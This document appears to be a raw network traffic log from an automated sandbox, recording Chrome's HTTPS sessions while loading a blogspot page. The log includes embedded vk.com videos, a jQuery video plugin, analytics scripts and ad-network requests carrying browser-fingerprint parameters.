2024-10-14 22:39:57 UTC	1378	IN	Data Raw: 2f 2a 6a 73 68 69 6e 74 20 62 72 6f 77 73 65 72 3a 74 72 75 65 20 2a 2f 0a 2f 2a 21 0a 2a 20 46 69 74 56 69 64 73 20 31 2e 31 0a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2c 20 43 68 72 69 73 20 43 6f 79 69 65 72 20 2d 20 68 74 74 70 3a 2f 2f 63 73 73 2d 74 72 69 63 6b 73 2e 63 6f 6d 20 2b 20 44 61 76 65 20 52 75 70 65 72 74 20 2d 20 68 74 74 70 3a 2f 2f 64 61 76 65 72 75 70 65 72 74 2e 63 6f 6d 0a 2a 20 43 72 65 64 69 74 20 74 6f 20 54 68 69 65 72 72 79 20 4b 6f 62 6c 65 6e 74 7a 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6c 69 73 74 61 70 61 72 74 2e 63 6f 6d 2f 61 72 74 69 63 6c 65 73 2f 63 72 65 61 74 69 6e 67 2d 69 6e 74 72 69 6e 73 69 63 2d 72 61 74 69 6f 73 2d 66 6f 72 2d 76 69 64 65 6f 2f 0a 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 Data Ascii: /jshint browser:true //! FitVids 1.1** Copyright 2013, Chris Coyier - http://css-tricks.com + Dave Rupert - http://daverupert.com* Credit to Thierry Koblentz - http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/* Released und
2024-10-14 22:39:57 UTC	1378	IN	Data Raw: 73 74 61 72 74 65 72 2e 63 6f 6d 22 5d 5b 73 72 63 2a 3d 22 76 69 64 65 6f 2e 68 74 6d 6c 22 5d 27 2c 0a 20 20 20 20 20 20 20 20 27 6f 62 6a 65 63 74 27 2c 0a 20 20 20 20 20 20 20 20 27 65 6d 62 65 64 27 0a 20 20 20 20 20 20 5d 3b 0a 0a 20 20 20 20 20 20 69 66 20 28 73 65 74 74 69 6e 67 73 2e 63 75 73 74 6f 6d 53 65 6c 65 63 74 6f 72 29 20 7b 0a 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 6f 72 73 2e 70 75 73 68 28 73 65 74 74 69 6e 67 73 2e 63 75 73 74 6f 6d 53 65 6c 65 63 74 6f 72 29 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 76 61 72 20 69 67 6e 6f 72 65 4c 69 73 74 20 3d 20 27 2e 66 69 74 76 69 64 73 69 67 6e 6f 72 65 27 3b 0a 0a 20 20 20 20 20 20 69 66 28 73 65 74 74 69 6e 67 73 2e 69 67 6e 6f 72 65 29 20 7b 0a 20 20 20 20 20 20 20 20 69 67 6e Data Ascii: starter.com"][src*="video.html"]', 'object', 'embed' ]; if (settings.customSelector) { selectors.push(settings.customSelector); } var ignoreList = '.fitvidsignore'; if(settings.ignore) { ign
2024-10-14 22:39:57 UTC	594	IN	Data Raw: 20 20 20 20 20 20 20 61 73 70 65 63 74 52 61 74 69 6f 20 3d 20 68 65 69 67 68 74 20 2f 20 77 69 64 74 68 3b 0a 20 20 20 20 20 20 20 20 69 66 28 21 24 74 68 69 73 2e 61 74 74 72 28 27 6e 61 6d 65 27 29 29 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 76 69 64 65 6f 4e 61 6d 65 20 3d 20 27 66 69 74 76 69 64 27 20 2b 20 24 2e 66 6e 2e 66 69 74 56 69 64 73 2e 5f 63 6f 75 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 24 74 68 69 73 2e 61 74 74 72 28 27 6e 61 6d 65 27 2c 20 76 69 64 65 6f 4e 61 6d 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 24 2e 66 6e 2e 66 69 74 56 69 64 73 2e 5f 63 6f 75 6e 74 2b 2b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 24 74 68 69 73 2e 77 72 61 70 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 75 69 64 2d 77 69 64 74 68 Data Ascii: aspectRatio = height / width; if(!$this.attr('name')){ var videoName = 'fitvid' + $.fn.fitVids._count; $this.attr('name', videoName); $.fn.fitVids._count++; } $this.wrap('<div class="fluid-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49903	216.58.206.33	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	554	OUT	HEAD /2024/10/78.html HTTP/1.1 Host: sqsq2938.blogspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://sqsq2938.blogspot.com/2024/10/78.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:57 UTC	467	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Mon, 14 Oct 2024 22:39:57 GMT Date: Mon, 14 Oct 2024 22:39:57 GMT Cache-Control: private, max-age=0 Last-Modified: Mon, 14 Oct 2024 20:30:16 GMT ETag: W/"004e5487ca4f96c022e25c6610be775deffa4be78484c46a9dd79cd7ff82bc4a" X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 0 Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49912	139.45.197.251	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	617	OUT	GET /ntfc.php?p=8165884 HTTP/1.1 Host: phicmune.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "6706a6aa-356a" If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
2024-10-14 22:39:57 UTC	252	IN	HTTP/1.1 304 Not Modified Server: nginx Date: Mon, 14 Oct 2024 22:39:57 GMT Last-Modified: Wed, 09 Oct 2024 15:52:10 GMT Connection: close ETag: "6706a6aa-356a" Access-Control-Allow-Credentials: true Cache-Control: no-cache Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49907	87.240.132.78	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	730	OUT	GET /video_ext.php?oid=424108305&id=456239246&hd=1&autoplay=1 HTTP/1.1 Host: vk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:57 UTC	2400	IN	HTTP/1.1 200 OK Server: kittenx Date: Mon, 14 Oct 2024 22:39:57 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 129053 Connection: close X-Powered-By: KPHP/7.4.118841 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Sat, 11 Oct 2025 06:59:52 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; expires=Tue, 14 Oct 2025 22:39:57 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; expires=Mon, 13 Oct 2025 11:48:51 GMT; path=/; domain=.vk.com; secure; SameSite=None Cache-control: no-store Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.com https://vk.ru htt [TRUNCATED] X-XSS-Protection: 1; report=/xss_reports X-Frontend: front921400 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend Origin-Agent-Cluster: ?0 X-Trace-Id: i1IdZAC-gohRYBL5QK3BhDo1jvIxog Server-Timing: tid;desc="i1IdZAC-gohRYBL5QK3BhDo1jvIxog",front;dur=0.197
2024-10-14 22:39:57 UTC	13984	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 27 20 64 69 72 3d 27 6c 74 72 27 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 20 20 73 72 63 3d 22 2f 6a 73 2f 6c 6f 61 64 65 72 5f 6e 61 76 32 31 32 32 33 35 35 38 37 36 38 5f 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 5f 6c 6f 67 6f 2e 69 63 6f 3f 37 22 20 2f 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 Data Ascii: <!DOCTYPE html><html lang='en' dir='ltr'><head><script type="text/javascript" src="/js/loader_nav21223558768_3.js"></script><link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" /><meta http-equiv="content-type" content="text/ht
2024-10-14 22:39:57 UTC	16384	IN	Data Raw: 6f 5f 76 69 64 65 6f 22 3a 31 2c 22 77 65 62 5f 73 77 5f 73 65 72 76 65 72 5f 72 6f 75 74 69 6e 67 22 3a 31 2c 22 76 6b 5f 77 65 62 5f 61 70 70 5f 6f 70 65 6e 5f 72 65 70 6f 72 74 5f 66 6f 72 6d 22 3a 31 2c 22 6d 69 6e 69 5f 61 70 70 73 5f 6e 61 76 67 6f 5f 68 61 73 68 5f 66 69 78 22 3a 31 2c 22 6d 69 6e 69 5f 61 70 70 73 5f 6e 61 76 67 6f 5f 68 61 73 68 5f 73 74 61 74 73 22 3a 31 2c 22 75 73 65 72 73 5f 77 61 73 6d 5f 73 75 70 70 6f 72 74 22 3a 31 2c 22 77 65 62 5f 6d 79 74 72 61 63 6b 65 72 5f 63 6f 6c 6c 65 63 74 5f 70 6f 73 74 5f 73 74 61 74 73 22 3a 31 2c 22 63 61 74 61 6c 6f 67 5f 6e 65 77 5f 66 72 69 65 6e 64 73 5f 73 65 61 72 63 68 5f 6e 70 73 5f 74 72 69 67 67 65 72 73 22 3a 31 2c 22 63 6c 6f 73 65 5f 74 72 69 67 67 65 72 73 5f 77 69 64 67 65 74 Data Ascii: o_video":1,"web_sw_server_routing":1,"vk_web_app_open_report_form":1,"mini_apps_navgo_hash_fix":1,"mini_apps_navgo_hash_stats":1,"users_wasm_support":1,"web_mytracker_collect_post_stats":1,"catalog_new_friends_search_nps_triggers":1,"close_triggers_widget
2024-10-14 22:39:57 UTC	16384	IN	Data Raw: 79 70 69 6e 67 20 61 20 66 72 69 65 6e 64 26 23 33 39 3b 73 20 6e 61 6d 65 22 2c 22 76 6f 74 65 73 5f 74 72 61 6e 73 66 65 72 5f 63 68 6f 6f 73 65 5f 72 65 63 69 70 69 65 6e 74 73 22 3a 22 53 65 6c 65 63 74 20 61 20 75 73 65 72 22 2c 22 70 61 79 6d 65 6e 74 73 5f 63 61 72 64 73 5f 72 65 64 69 72 65 63 74 22 3a 22 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 70 61 79 6d 65 6e 74 20 67 61 74 65 77 61 79 2e 3c 62 72 3e 50 6c 65 61 73 65 20 77 61 69 74 2e 2e 2e 22 2c 22 70 61 79 6d 65 6e 74 73 5f 70 61 79 6d 65 6e 74 5f 63 61 6e 63 65 6c 6c 65 64 22 3a 22 54 68 65 20 70 61 79 6d 65 6e 74 20 70 72 6f 63 65 73 73 20 77 61 73 20 63 61 6e 63 65 6c 65 64 2e 22 2c 22 70 61 79 6d 65 6e 74 73 5f 6d 6f 6e 65 79 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 5f 6e 6f 5f 61 Data Ascii: yping a friend's name","votes_transfer_choose_recipients":"Select a user","payments_cards_redirect":"Redirecting to payment gateway.<br>Please wait...","payments_payment_cancelled":"The payment process was canceled.","payments_money_request_error_no_a
2024-10-14 22:39:58 UTC	16384	IN	Data Raw: 64 5f 63 6f 70 69 65 64 22 3a 22 45 52 49 44 20 63 6f 70 69 65 64 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 6f 72 64 5f 73 6e 61 63 6b 62 61 72 5f 61 64 64 65 64 22 3a 22 54 61 67 67 65 64 20 61 73 20 61 64 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 70 6c 61 79 6c 69 73 74 5f 64 65 6c 65 74 65 64 22 3a 22 cf eb e5 e9 eb e8 f1 f2 20 f3 e4 e0 eb b8 ed 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 70 6c 61 79 6c 69 73 74 5f 73 61 76 65 64 22 3a 22 50 6c 61 79 6c 69 73 74 20 73 61 76 65 64 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 72 65 6d 6f 76 65 64 5f 66 72 6f 6d 5f 68 69 73 74 6f 72 79 22 3a 22 56 69 64 65 6f 20 72 65 6d 6f 76 65 64 20 66 72 6f 6d 20 68 69 73 74 6f 72 79 22 2c 22 6d 6f 62 69 6c 65 5f 76 69 64 65 6f 5f 63 6c 65 61 72 65 Data Ascii: d_copied":"ERID copied","mobile_video_ord_snackbar_added":"Tagged as ad","mobile_video_playlist_deleted":" ","mobile_video_playlist_saved":"Playlist saved","mobile_video_removed_from_history":"Video removed from history","mobile_video_cleare
2024-10-14 22:39:59 UTC	16384	IN	Data Raw: 61 75 64 69 6f 5f 63 61 70 74 63 68 61 5f 6c 6f 61 64 69 6e 67 5f 65 72 72 6f 72 5f 63 61 70 74 69 6f 6e 22 3a 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 61 75 64 69 6f 22 2c 22 76 6b 63 6f 6e 6e 65 63 74 5f 61 75 74 68 5f 63 61 70 74 63 68 61 5f 69 6d 61 67 65 5f 6c 6f 61 64 69 6e 67 5f 65 72 72 6f 72 5f 72 65 74 72 79 5f 61 72 69 61 5f 6c 61 62 65 6c 22 3a 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 69 6d 61 67 65 2e 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 2e 22 2c 22 76 6b 63 6f 6e 6e 65 63 74 5f 61 75 74 68 5f 63 61 70 74 63 68 61 5f 73 6f 75 6e 64 5f 6c 6f 61 64 69 6e 67 5f 65 72 72 6f 72 5f 72 65 74 72 79 5f 61 72 69 61 5f 6c 61 62 65 6c 22 3a 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 61 75 64 69 6f 2e 20 50 6c 65 61 73 65 Data Ascii: audio_captcha_loading_error_caption":"Failed to load audio","vkconnect_auth_captcha_image_loading_error_retry_aria_label":"Failed to load image. Please try again.","vkconnect_auth_captcha_sound_loading_error_retry_aria_label":"Failed to load audio. Please
2024-10-14 22:39:59 UTC	16384	IN	Data Raw: 69 70 73 5f 70 72 69 76 61 63 79 5f 6f 70 74 69 6f 6e 73 5f 62 65 73 74 5f 66 72 69 65 6e 64 73 5f 6f 6e 6c 79 22 3a 22 43 6c 6f 73 65 20 66 72 69 65 6e 64 73 20 6f 6e 6c 79 22 2c 22 65 76 65 6e 74 73 5f 6d 6f 6e 22 3a 22 4d 6f 6e 22 2c 22 65 76 65 6e 74 73 5f 74 75 65 22 3a 22 54 75 65 22 2c 22 65 76 65 6e 74 73 5f 77 65 64 22 3a 22 57 65 64 22 2c 22 65 76 65 6e 74 73 5f 74 68 75 22 3a 22 54 68 75 22 2c 22 65 76 65 6e 74 73 5f 66 72 69 22 3a 22 46 72 69 22 2c 22 65 76 65 6e 74 73 5f 73 61 74 22 3a 22 53 61 74 22 2c 22 65 76 65 6e 74 73 5f 73 75 6e 22 3a 22 53 75 6e 22 2c 22 64 61 74 65 70 69 63 6b 65 72 5f 64 61 74 65 5f 66 6f 72 6d 61 74 22 3a 22 7b 64 61 79 7d 20 7b 6d 6f 6e 74 68 7d 20 7b 79 65 61 72 7d 22 2c 22 64 61 74 65 70 69 63 6b 65 72 5f 6d 6f Data Ascii: ips_privacy_options_best_friends_only":"Close friends only","events_mon":"Mon","events_tue":"Tue","events_wed":"Wed","events_thu":"Thu","events_fri":"Fri","events_sat":"Sat","events_sun":"Sun","datepicker_date_format":"{day} {month} {year}","datepicker_mo
2024-10-14 22:40:00 UTC	16384	IN	Data Raw: 7d 22 2c 22 76 6b 75 69 5f 64 6f 6e 75 74 5f 70 61 79 6d 65 6e 74 5f 63 68 61 6e 67 65 5f 65 72 72 6f 72 5f 61 6d 6f 75 6e 74 5f 65 71 75 61 6c 22 3a 22 54 68 65 20 6e 65 77 20 61 6d 6f 75 6e 74 20 6d 75 73 74 20 62 65 20 64 69 66 66 65 72 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 63 75 72 72 65 6e 74 20 6f 6e 65 22 2c 22 67 72 6f 75 70 73 5f 64 6f 6e 75 74 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 5f 6d 61 6e 61 67 65 5f 63 61 6e 63 65 6c 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 5f 61 63 74 69 6f 6e 5f 62 75 74 74 6f 6e 22 3a 22 53 74 6f 70 20 64 6f 6e 61 74 69 6e 67 22 2c 22 67 72 6f 75 70 73 5f 64 6f 6e 75 74 5f 63 61 6e 63 65 6c 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 5f 72 65 61 73 6f 6e 73 5f 70 61 6e 65 6c 5f 68 65 61 64 65 72 22 3a 22 ce f2 ec e5 ed e0 20 Data Ascii: }","vkui_donut_payment_change_error_amount_equal":"The new amount must be different from the current one","groups_donut_subscription_manage_cancel_subscription_action_button":"Stop donating","groups_donut_cancel_subscription_reasons_panel_header":"
2024-10-14 22:40:00 UTC	16384	IN	Data Raw: 65 73 20 76 69 65 77 65 72 73 20 74 6f 20 74 68 65 a0 66 75 6c 6c 20 76 65 72 73 69 6f 6e 20 6f 66 a0 74 68 65 a0 76 69 64 65 6f 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 73 65 6c 65 63 74 5f 6d 6f 64 61 6c 5f 68 65 61 64 65 72 22 3a 22 4d 79 20 63 6c 69 70 73 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 73 65 6c 65 63 74 5f 6d 6f 64 61 6c 5f 61 63 74 69 6f 6e 5f 73 75 62 6d 69 74 22 3a 22 4c 69 6e 6b 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 73 65 6c 65 63 74 5f 6d 6f 64 61 6c 5f 61 6c 72 65 61 64 79 5f 73 65 6c 65 63 74 65 64 5f 74 6f 6f 6c 74 69 70 5f 68 65 61 64 65 72 22 3a 22 43 6c 69 70 20 61 6c 72 65 61 64 79 20 6c 69 6e 6b 65 64 20 74 6f a0 76 69 64 65 6f 22 2c 22 76 69 64 65 6f 5f 63 6c 69 70 5f 73 65 6c 65 63 74 5f 6d 6f 64 61 6c 5f 61 6c 72 65 61 Data Ascii: es viewers to thefull version ofthevideo","video_clip_select_modal_header":"My clips","video_clip_select_modal_action_submit":"Link","video_clip_select_modal_already_selected_tooltip_header":"Clip already linked tovideo","video_clip_select_modal_alrea
2024-10-14 22:40:00 UTC	381	IN	Data Raw: 61 76 61 73 63 72 69 70 74 22 3b 20 74 73 2e 61 73 79 6e 63 20 3d 20 74 72 75 65 3b 0a 74 73 2e 73 72 63 20 3d 20 28 64 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 20 3d 3d 20 22 68 74 74 70 73 3a 22 20 3f 20 22 68 74 74 70 73 3a 22 20 3a 20 22 68 74 74 70 3a 22 29 20 2b 20 22 2f 2f 74 6f 70 2d 66 77 7a 31 2e 6d 61 69 6c 2e 72 75 2f 6a 73 2f 63 6f 64 65 2e 6a 73 22 3b 0a 76 61 72 20 66 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 76 61 72 20 73 20 3d 20 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 74 73 2c 20 73 29 3b 7d 3b 0a 69 66 20 28 77 2e 6f 70 65 72 61 20 3d 3d 20 22 5b 6f 62 6a 65 63 74 20 4f Data Ascii: avascript"; ts.async = true;ts.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//top-fwz1.mail.ru/js/code.js";var f = function () {var s = d.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ts, s);};if (w.opera == "[object O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49902	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	1429	OUT	GET /?rb=h41RbpjUfm_qezmYzy9pIg9mlIi-f8HIT5NCeikxr11M_389I7E9AD9nLHVqmh6T_KddQBzce-JN28rtoJXc3BFC19zHCYwqvB_-YolKIUq70v33FpAnXcTDS0ltRITij9SrZZHt5B1K5y3GjGmhKtW8AjNrOaaUjt5pM4ev59qlNzNDGWu_nC2LMVGJ0MulG6qU4H_vtCv8VU1ftJxA-6GMisbOKxBf0mrehPqFnPxa187DdqBHsQNzCDHLXNpoIozX6Jn2R3BQGIEpKvBA3JoqRlKqzqByAWUIYStOT9e_q713K9t-8XEkvL5VijP-HXTHQQb6ofDNeVZb6D5X8Q%3D%3D&request_ab2=0&zoneid=8079706&js_build=iclick-v1.976.0&jsp=1&fs=0&cf=0&sw=1280&sh=1024&wih=907&wiw=1280&ww=1280&wh=984&sah=984&wx=0&wy=0&cw=1275&wfc=39&pl=https%3A%2F%2Fwww.mycimalive.com%2F&drf=&np=1&pt=0&nb=1&ng=1&ix=0&nw=1&tb=false&btz=America%2FNew_York&bto=240&tt=3&wgl=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&js_build=iclick-v1.976.0&navlng=en-US&vsbl=false&pnt=0&pnrc=0&bml=1&bmi=1&bs=c4386095-4dc2-4ed2-b185-61bb729e2c55&wasm=1&userId=0080f52b8e41436deb287525cd342cae&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134&m=link HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945591
2024-10-14 22:39:57 UTC	1210	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:57 GMT Content-Type: application/json Content-Length: 5334 Connection: close X-Trace-Id: 23766f721d5f0a33b84e37ffdd130107 Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Set-Cookie: OAID=0080f52b8e41436deb287525cd342cae; expires=Tue, 14 Oct 2025 22:39:57 GMT; path=/; secure; SameSite=None Set-Cookie: oaidts=1728945597; expires=Tue, 14 Oct 2025 22:39:57 GMT; path=/; secure; SameSite=None Set-Cookie: syncedCookie=true; expires=Mon, 21 Oct 2024 22:39:57 GMT; path=/; secure; SameSite=None Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:57 UTC	5334	IN	Data Raw: 7b 22 62 61 6e 6e 65 72 49 64 22 3a 32 32 32 38 33 31 37 33 2c 22 63 61 6d 70 61 69 67 6e 49 64 22 3a 38 37 33 33 31 38 32 2c 22 64 73 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6b 75 6d 70 6f 61 70 68 79 2e 63 6f 6d 2f 3f 62 3d 32 32 32 38 33 31 37 33 5c 75 30 30 32 36 62 61 3d 31 5c 75 30 30 32 36 63 61 6d 70 69 64 3d 38 37 33 33 31 38 32 5c 75 30 30 32 36 64 69 64 3d 32 5c 75 30 30 32 36 64 6d 3d 31 5c 75 30 30 32 36 66 70 3d 31 5c 75 30 30 32 36 67 3d 55 53 5c 75 30 30 32 36 6c 3d 4b 33 63 6f 34 75 39 59 41 7a 6a 79 33 72 4d 5c 75 30 30 32 36 6f 61 69 64 3d 30 30 38 30 66 35 32 62 38 65 34 31 34 33 36 64 65 62 32 38 37 35 32 35 63 64 33 34 32 63 61 65 5c 75 30 30 32 36 73 3d 38 36 39 38 32 33 34 37 39 35 38 35 39 37 32 38 37 34 5c 75 30 30 32 36 73 Data Ascii: {"bannerId":22283173,"campaignId":8733182,"dstUrl":"https://kumpoaphy.com/?b=22283173\u0026ba=1\u0026campid=8733182\u0026did=2\u0026dm=1\u0026fp=1\u0026g=US\u0026l=K3co4u9YAzjy3rM\u0026oaid=0080f52b8e41436deb287525cd342cae\u0026s=869823479585972874\u0026s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49906	87.240.132.78	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:57 UTC	730	OUT	GET /video_ext.php?oid=424108305&id=456239241&hd=1&autoplay=1 HTTP/1.1 Host: vk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
